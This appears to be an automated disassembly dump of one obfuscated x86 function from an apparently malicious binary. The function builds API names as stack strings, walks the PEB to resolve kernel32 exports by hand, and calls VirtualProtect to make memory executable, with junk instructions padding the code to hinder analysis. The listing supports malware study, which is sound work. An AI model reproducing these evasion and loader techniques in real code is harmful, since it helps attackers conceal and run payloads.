Function at 0x406952
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
add byte [esi + 0x53], bl
jmp 0x406149
xor ebx, 0xe324
add ebx, 0x6398
pop ebx
mov dword [ebp - 0x738], 0
jmp 0x40684f
push edx
push esi
add esp, 4
and edx, 0x2067
xor edx, 0x10038
sub edx, 0x134bd
pop edx
push edi
push eax
add esp, 4
add edi, 0x131ab
sub edi, 0x4af8
jmp 0x406880
pop edi
mov ecx, dword [ebp - 0x3cc]
add ecx, 0xe
mov dword [ebp - 0x1918], ecx
push eax
or eax, 0xfe52
sub eax, 0x1c17
or eax, 0x5d6e
xor eax, 0x52eb
pop eax
push ecx
or ecx, 0x12712
call 0x4068be
add byte [eax + edx*2 + 0x32], al
inc eax
dec edx
aaa
aaa
add esp, 4
pop ecx
cmp dword [ebp - 0x3cc], 0
je 0x4068d4
cmp dword [ebp - 0xa5c], 0
jne 0x40691a
push eax
push edx
add esp, 4
and eax, 0x1851f
xor eax, 0xcf0e
pop eax
push edi
sub edi, 0x3f5
pop edi
push ecx
push ebx
add esp, 4
xor ecx, 0x636a
xor ecx, 0x4d62
xor ecx, 0x13449
pop ecx
mov edx, dword [ebp - 0x738]
mov dword [ebp - 0x18d0], edx
push 0
call dword [ebp - 0x18d0]
mov dword [ebp - 0x1fb0], 0xa
push ecx
push ecx
add esp, 4
or ecx, 0x11b40
sub ecx, 0x145ff
sub ecx, 0x25cb
xor ecx, 0xb2be
pop ecx
push ebx
call 0x406952
add byte [ebx], bh
aaa
dec edx
dec edx
xor dh, byte [edi]
xor ecx, dword [ebx + eax*4 - 0x3c]
add al, 0x5b
mov eax, dword [ebp - 0x3cc]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x381], cl
mov edx, dword [ebp - 0xa5c]
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x158c], edx
mov dword [ebp - 0xc70], 0
push esi
and esi, 0x1033a
pop esi
push ebx
jmp 0x406990
or ebx, 0x1711c
and ebx, 0xc2c6
pop ebx
push ecx
jmp 0x4069a3
jmp 0x4069ac
and ecx, 0xce5c
pop ecx
mov byte [ebp - 0x960], 0x56
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push ecx
push eax
add esp, 4
add ecx, 0x1752
xor ecx, 0x16947
sub ecx, 0xaa41
add ecx, 0x6035
pop ecx
push eax
push edi
add esp, 4
or eax, 0x4d2d
pop eax
push edx
and edx, 0xd6bc
pop edx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push eax
push esi
add esp, 4
xor eax, 0x1535
sub eax, 0x1827e
xor eax, 0x156a6
or eax, 0x184a6
pop eax
push edx
sub edx, 0x130a7
xor edx, 0x2e84
and edx, 0x184bc
pop edx
cmp dword [ebp - 0x150c], 0
jne 0x406abf
mov dword [ebp - 0x2a8], 0
jmp 0x406d66
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push esi
and esi, 0x17e60
and esi, 0x17d68
xor esi, 0xa078
pop esi
push edx
push edi
add esp, 4
jmp 0x406af0
pop edx
push ecx
push ebx
add esp, 4
sub ecx, 0x11b7a
and ecx, 0x2f37
pop ecx
cmp dword [ebp - 0xc4c], 0
jne 0x406b1b
mov dword [ebp - 0x2a8], 0
jmp 0x406d66
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
push esi
push esi
add esp, 4
call 0x406b39
add byte [edx], dh
dec ecx
dec ebx
dec esp
cmp dword [ecx + ecx*2], esi
add esp, 4
jmp 0x406b44
and esi, 0x128a1
sub esi, 0x1bf
pop esi
push esi
jmp 0x406b58
pop esi
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc44], ecx
xor edx, edx
mov word [ebp - 0x204], dx
xor eax, eax
mov word [ebp - 0x38], ax
push edi
or edi, 0x3531
add edi, 0x16f5
pop edi
push eax
push edx
add esp, 4
xor eax, 0x403c
add eax, 0x17929
pop eax
push ebx
call 0x406bb1
add byte [esp + ecx*2 + 0x46], al
inc edi
xor al, byte [edx + 0x44]
add esp, 4
pop ebx
mov ecx, dword [ebp - 0xc44]
mov dx, word [ecx]
mov word [ebp - 0xf8a], dx
mov eax, dword [ebp - 0xc44]
add eax, 2
mov dword [ebp - 0xc44], eax
mov cx, word [ebp - 0xf8a]
mov word [ebp - 0x204], cx
mov edx, dword [ebp - 0xc48]
mov ax, word [edx]
mov word [ebp - 0xf8c], ax
mov ecx, dword [ebp - 0xc48]
add ecx, 2
mov dword [ebp - 0xc48], ecx
mov dx, word [ebp - 0xf8c]
mov word [ebp - 0x38], dx
push eax
push ecx
add esp, 4
sub eax, 0x17d85
xor eax, 0x60fa
add eax, 0x435b
sub eax, 0x12548
pop eax
push ecx
push ebx
add esp, 4
xor ecx, 0xa20b
pop ecx
push ecx
or ecx, 0x3538
pop ecx
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x406c5b
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x1514], ecx
jmp 0x406cb5
movzx eax, word [ebp - 0x204]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x406b83
movzx edx, word [ebp - 0x204]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x406b83
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x406c9f
mov dword [ebp - 0x1510], 0xffffffff
jmp 0x406ca9
mov dword [ebp - 0x1510], 1
mov eax, dword [ebp - 0x1510]
mov dword [ebp - 0x1514], eax
cmp dword [ebp - 0x1514], 0
jne 0x406cfe
push edi
push ecx
add esp, 4
add edi, 0x147aa
xor edi, 0x1be2
sub edi, 0x27a5
pop edi
push edi
call 0x406ce6
add byte [ebx + 0x49], al
inc esp
dec ebx
inc esp
xor eax, dword ss:[edi - 0x7d]
les eax, [ecx + eax*4]
out 0xd0, eax
lodsb al, byte [esi]
add byte [eax], al
pop edi
mov ecx, dword [ebp - 0x4e4]
mov dword [ebp - 0x2a8], ecx
jmp 0x406d66
push ecx
push ebx
add esp, 4
jmp 0x406d08
and ecx, 0x743c
pop ecx
push esi
push ebx
add esp, 4
call 0x406d24
add byte [edx + eax*2 + 0x49], cl
aas
aas
xor edi, dword [0x83364b34]
les eax, [ebx + ebp*8]
push es
xor ecx, dword [edi + esi + 0x3a]
xor al, 0x42
pop esi
mov edx, dword [ebp - 0x4e4]
mov eax, dword [edx]
mov dword [ebp - 0x4e4], eax
mov ecx, dword [ebp - 0x4e4]
cmp ecx, dword [ebp - 0xc4c]
je 0x406d5c
mov edx, dword [ebp - 0x4e4]
cmp dword [edx + 0x30], 0
jne 0x406b27
mov dword [ebp - 0x2a8], 0
push edi
push ebx
add esp, 4
jmp 0x406d70
sub edi, 0x17e85
pop edi
push ecx
or ecx, 0xc43f
sub ecx, 0x14a9
call 0x406d94
add byte [eax + 0x3b], cl
xor esi, dword [edx + ecx*2]
cmp eax, 0x3248353c
add esp, 4
pop ecx
cmp dword [ebp - 0x2a8], 0
jne 0x40769d
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push ebx
push eax
add esp, 4
jmp 0x406e49
and ebx, 0x69cf
pop ebx
push ebx
push ebx
add esp, 4
call 0x406e63
add byte [eax], bh
dec ebp
inc esi
cmp dword ds:[esi + 0x49], ecx
inc esi
add esp, 4
jmp 0x406e6f
pop ebx
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push edx
push eax
add esp, 4
call 0x406f07
add byte [ecx], bh
cmp al, byte [edx + 0x41]
inc eax
push eax
dec esp
xor al, 0x83
les eax, [ebx + ebp*8]
push es
inc eax
xor eax, 0xae84150
add byte [eax], al
add byte [eax], al
cmp al, 0x49
cmp cl, byte [ebp + 0x4a]
inc esp
xor edi, dword [edx + esi]
add esp, 4
pop edx
cmp dword [ebp - 0x1518], 0
jne 0x406f3d
mov dword [ebp - 0x710], 0
jmp 0x4071e4
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push esi
jmp 0x406f55
pop esi
push eax
sub eax, 0x8b1f
and eax, 0x15e5a
pop eax
push edi
and edi, 0x2990
call 0x406f77
add byte [ecx + 0x49], cl
cmp eax, dword ss:[edi + 0x32]
add esp, 4
sub edi, 0x3311
pop edi
cmp dword [ebp - 0xc58], 0
jne 0x406f99
mov dword [ebp - 0x710], 0
jmp 0x4071e4
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push edi
add edi, 0x5985
xor edi, 0x85b3
pop edi
push edx
push ecx
add esp, 4
add edx, 0x120b2
xor edx, 0x98de
call 0x406fd3
add byte [esi + 0x49], al
xor al, 0x4c
cmp eax, 0x4f34503f
add esp, 4
pop edx
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push edx
call 0x407010
add byte [esp + edi + 0x46], cl
aas
inc eax
dec esi
inc ebx
inc ebx
add esp, 4
call 0x407023
add byte [edx], bh
aas
inc esi
dec esi
cmp al, 0x4c
inc esp
push eax
cmp byte [eax - 0x7d], dl
les eax, [ecx + eax*4]
loop 0x407001
nop
add byte [eax], al
or edx, 0x98c
pop edx
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push edx
push eax
add esp, 4
xor edx, 0x5197
and edx, 0xf1c3
jmp 0x4070a2
call 0x4070b0
add byte [esi], dh
cmp eax, dword [edi + 0x39]
dec ebx
inc esi
dec eax
add esp, 4
pop edx
push esi
or esi, 0x31b7
pop esi
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x4070d9
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x407133
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x407001
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x407001
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x40711d
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x407127
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x40717c
push esi
xor esi, 0x471
xor esi, 0x8a99
pop esi
push edx
add edx, 0x17eda
and edx, 0x41ce
call 0x407164
add byte [ecx], bh
cmp al, 0x46
inc ebx
dec esi
inc esi
dec edi
add esp, 4
sub edx, 0x1b8c
pop edx
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x4071e4
push esi
push edi
add esp, 4
or esi, 0xf0c5
and esi, 0x6c77
or esi, 0x9ae3
pop esi
push edx
or edx, 0x2a9c
xor edx, 0xab8a
or edx, 0xa5b4
sub edx, 0x14ece
pop edx
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x4071da
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x406fa5
mov dword [ebp - 0x710], 0
push ebx
or ebx, 0x144a5
pop ebx
push ebx
push esi
add esp, 4
and ebx, 0x17a1e
and ebx, 0x1460e
and ebx, 0x10a7b
xor ebx, 0x954e
pop ebx
push ecx
push edi
add esp, 4
or ecx, 0x169fe
pop ecx
cmp dword [ebp - 0x710], 0
jne 0x407260
push esi
push ebx
add esp, 4
call 0x407232
add byte [ecx + 0x37], cl
inc esp
dec edi
dec esi
cmp eax, 0xc483413d
add al, 0x81
mul byte [esp + edx*2]
add byte [eax], al
jmp 0x407242
pop esi
push edx
xor edx, 0x1118
and edx, 0xa645
pop edx
mov dword [ebp - 0xa58], 0
jmp 0x407d88
push ecx
add ecx, 0x6716
jmp 0x407270
call 0x407280
add byte [ebx], dh
dec esp
cmp ecx, dword [eax + 0x4a]
cmp esi, dword [0x834d3f33]
les eax, [ecx + eax*4]
loope 0x4072e2
jle 0x407288
add byte [ecx + 0x57], bl
or edi, 0x1271a
pop edi
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x4072d1
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x4075c2
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x4072f9
cwde
ljmp 0x8d8b
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x4075c2
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x40732b
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x4075c2
mov ecx, dword [ebp - 0x300]
add ecx, dword [ebp - 0x1570]
mov dword [ebp - 0x714], ecx
jne 0x407350
mov edx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], edx
jmp 0x4075c2
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18e0], ecx
mov edx, dword [ebp - 0x714]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x18e8], edx
mov dword [ebp - 0x718], 0
jmp 0x4073aa
mov eax, dword [ebp - 0x718]
add eax, 1
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x718]
cmp edx, dword [ecx + 0x18]
jae 0x4075b6
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e0]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e4]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18e8]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x18ec], ecx
mov dword [ebp - 0x188], 0
jmp 0x40741a
mov edx, dword [ebp - 0x188]
add edx, 1
mov dword [ebp - 0x188], edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
test ecx, ecx
je 0x4074cc
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
test eax, eax
je 0x4074cc
push edi
push edx
add esp, 4
sub edi, 0x403b
and edi, 0x4c0e
pop edi
push ebx
xor ebx, 0x2c78
or ebx, 0xa3f
pop ebx
push edi
push ecx
add esp, 4
or edi, 0xc176
jmp 0x407478
pop edi
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
cmp edx, ecx
je 0x4074be
mov edx, dword [ebp - 0x71c]
add edx, dword [ebp - 0x188]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x188]
movsx edx, byte [ebp + ecx - 0x830]
cmp eax, edx
jne 0x4074c5
jmp 0x40740b
jmp 0x4074cc
push edi
or edi, 0x17974
add edi, 0xf6d4
or edi, 0x14038
pop edi
push esi
push edi
add esp, 4
and esi, 0xc8e8
or esi, 0x10c55
and esi, 0x17721
xor esi, 0x3158
pop esi
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
cmp ecx, eax
jne 0x40752b
invalid
mov dword [ebp - 0xc5c], 0
jmp 0x40759a
push ebx
push esi
add esp, 4
jmp 0x407539
sub ebx, 0x8b20
pop ebx
push edx
call 0x40754d
add byte [ebp + 0x3a], al
aaa
dec ebp
dec edi
cmp al, 0x83
les eax, [ecx + eax*4]
loop 0x407519
dec ebx
add byte [eax], al
add edx, 0x10f11
pop edx
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
or ecx, 0x20
cmp edx, ecx
jge 0x407590
mov dword [ebp - 0xc5c], 0xffffffff
jmp 0x40759a
mov dword [ebp - 0xc5c], 1
cmp dword [ebp - 0xc5c], 0
jne 0x4075b1
mov edx, dword [ebp - 0x18ec]
mov dword [ebp - 0x3c8], edx
jmp 0x4075c2
jmp 0x40739b
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0
je 0x40769d
push edx
push edx
add esp, 4
call 0x4075e1
add byte [ebx], bh
cmp al, byte [ebp + 0x4b]
dec ebx
dec ecx
cmp dword [ebx + 0x505a04c4], eax
sub eax, 0x15fef
sub eax, 0x15162
pop eax
push edi
sub edi, 0xe857
xor edi, 0x143a4
pop edi
mov ecx, dword [ebp - 0x3c8]
mov dword [ebp - 0x18f0], ecx
push esi
push eax
add esp, 4
sub esi, 0x1729f
or esi, 0xab69
pop esi
push ebx
push esi
add esp, 4
jmp 0x40762a
pop ebx
push esi
jmp 0x407633
xor esi, 0x6f29
jmp 0x40763e
pop esi
mov edx, dword [ebp - 0x18f0]
mov dword [ebp - 0x18f4], edx
lea eax, [ebp - 0x1628]
push eax
call dword [ebp - 0x18f4]
test eax, eax
jne 0x40769d
push esi
sub esi, 0x22b3
or esi, 0x9a2c
xor esi, 0x82fa
pop esi
push eax
push ebx
add esp, 4
sub eax, 0xa8ed
or eax, 0xb293
xor eax, 0x17c56
and eax, 0x16678
pop eax
mov dword [ebp - 0xa58], 0
jmp 0x407d88
push ebx
and ebx, 0x1820
xor ebx, 0xbda
and ebx, 0x8a7b
pop ebx
push ebx
push ecx
add esp, 4
or ebx, 0x8fbf
xor ebx, 0x8fc4
pop ebx
push eax
push ebx
add esp, 4
or eax, 0x28dd
pop eax
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push ebx
and ebx, 0x41c6
jmp 0x407705
pop ebx
push ebx
push ebx
add esp, 4
sub ebx, 0x7ec5
call 0x40771d
add byte [eax + eax*2], bh
cmp eax, 0x83323e33
les eax, [ebx + ebp*8]
push es
inc edi
dec esi
inc ebx
push eax
aas
xor bl, byte [ebx - 0x7d]
mov ebp, 0xffffea8c
add byte [ebp + 0xf], dh
mov dword [ebp - 0x2a8], 0
jmp 0x4079e8
push eax
push edi
add esp, 4
call 0x4079fc
add byte [esi], bh
cmp al, 0x3b
dec edi
inc ebx
xor eax, 0x834a3a4e
les eax, [ecx + eax*4]
enter 0x2384, 0
add byte [eax + 0x51], bl
xor ecx, 0x7c0b
add ecx, 0xdf74
xor ecx, 0x1850
pop ecx
mov ecx, dword [ebp - 0x2a8]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x304], edx
push ecx
sub ecx, 0x141b8
add ecx, 0x9aa
or ecx, 0xca97
or ecx, 0xf43e
pop ecx
push esi
push edi
add esp, 4
or esi, 0x4e24
sub esi, 0x2a91
xor esi, 0xcc37
pop esi
mov dword [ebp - 0x730], 0
mov eax, dword [ebp - 0x304]
mov dword [ebp - 0x1580], eax
cmp dword [ebp - 0x1580], 0
jne 0x407a8b
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x407d7c
mov edx, dword [ebp - 0x1580]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1584], eax
jne 0x407ab3
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x407d7c
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1584]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1588], edx
cmp dword [ebp - 0x1588], 0
jne 0x407ae5
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
jmp 0x407d7c
mov ecx, dword [ebp - 0x304]
add ecx, dword [ebp - 0x1588]
mov dword [ebp - 0x724], ecx
jne 0x407b0a
mov edx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], edx
jmp 0x407d7c
mov eax, dword [ebp - 0x724]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x1900], ecx
mov edx, dword [ebp - 0x724]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x1904], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x1908], edx
mov dword [ebp - 0x728], 0
jmp 0x407b64
mov eax, dword [ebp - 0x728]
add eax, 1
mov dword [ebp - 0x728], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x728]
cmp edx, dword [ecx + 0x18]
jae 0x407d70
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1900]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x72c], edx
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1904]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x1908]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x190c], ecx
mov dword [ebp - 0x18c], 0
jmp 0x407bd4
mov edx, dword [ebp - 0x18c]
add edx, 1
mov dword [ebp - 0x18c], edx
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
test ecx, ecx
je 0x407c86
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
test eax, eax
je 0x407c86
push edi
push edx
add esp, 4
call 0x407c15
add byte [edi], bh
inc esp
dec esp
dec eax
xor cl, byte [eax + 0x41]
xor al, 0x40
add esp, 4
pop edi
push eax
sub eax, 0x1864f
xor eax, 0x12a71
jmp 0x407c2c
sub eax, 0x13c98
pop eax
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
cmp edx, ecx
je 0x407c78
mov edx, dword [ebp - 0x72c]
add edx, dword [ebp - 0x18c]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x18c]
movsx edx, byte [ebp + ecx - 0x960]
cmp eax, edx
jne 0x407c7f
jmp 0x407bc5
jmp 0x407c86
push eax
jmp 0x407c90
or eax, 0x14ced
pop eax
push eax
push edx
add esp, 4
sub eax, 0xec70
jmp 0x407cab
add eax, 0x4233
add eax, 0xbd14
pop eax
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
cmp ecx, eax
jne 0x407ce5
mov dword [ebp - 0xc6c], 0
jmp 0x407d54
push edx
push eax
add esp, 4
and edx, 0x28
or edx, 0x8f4
and edx, 0x12b59
pop edx
push ecx
and ecx, 0x8416
or ecx, 0xcffa
pop ecx
push eax
push eax
add esp, 4
xor eax, 0xfb65
pop eax
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
or ecx, 0x20
cmp edx, ecx
jge 0x407d4a
mov dword [ebp - 0xc6c], 0xffffffff
jmp 0x407d54
mov dword [ebp - 0xc6c], 1
cmp dword [ebp - 0xc6c], 0
jne 0x407d6b
mov edx, dword [ebp - 0x190c]
mov dword [ebp - 0x4f0], edx
jmp 0x407d7c
jmp 0x407b55
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
mov ecx, dword [ebp - 0x4f0]
mov dword [ebp - 0xa58], ecx
push edx
push edx
add esp, 4
and edx, 0x109dd
pop edx
push esi
or esi, 0x156ff
xor esi, 0x10ca6
call 0x407db0
add byte [ebp + 0x3f], cl
inc esi
xor al, 0x3c
cmp dword [edx + 0x4e], eax
add esp, 4
xor esi, 0x17a9f
pop esi
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x1910], edx
lea eax, [ebp - 0xc70]
push eax
push 0x40
mov ecx, dword [ebp - 0x158c]
push ecx
mov edx, dword [ebp - 0x3cc]
push edx
call dword [ebp - 0x1910]
test eax, eax
jne 0x407e2d
push ebx
and ebx, 0x115d1
and ebx, 0xae6a
add ebx, 0xfa6b
or ebx, 0x133f8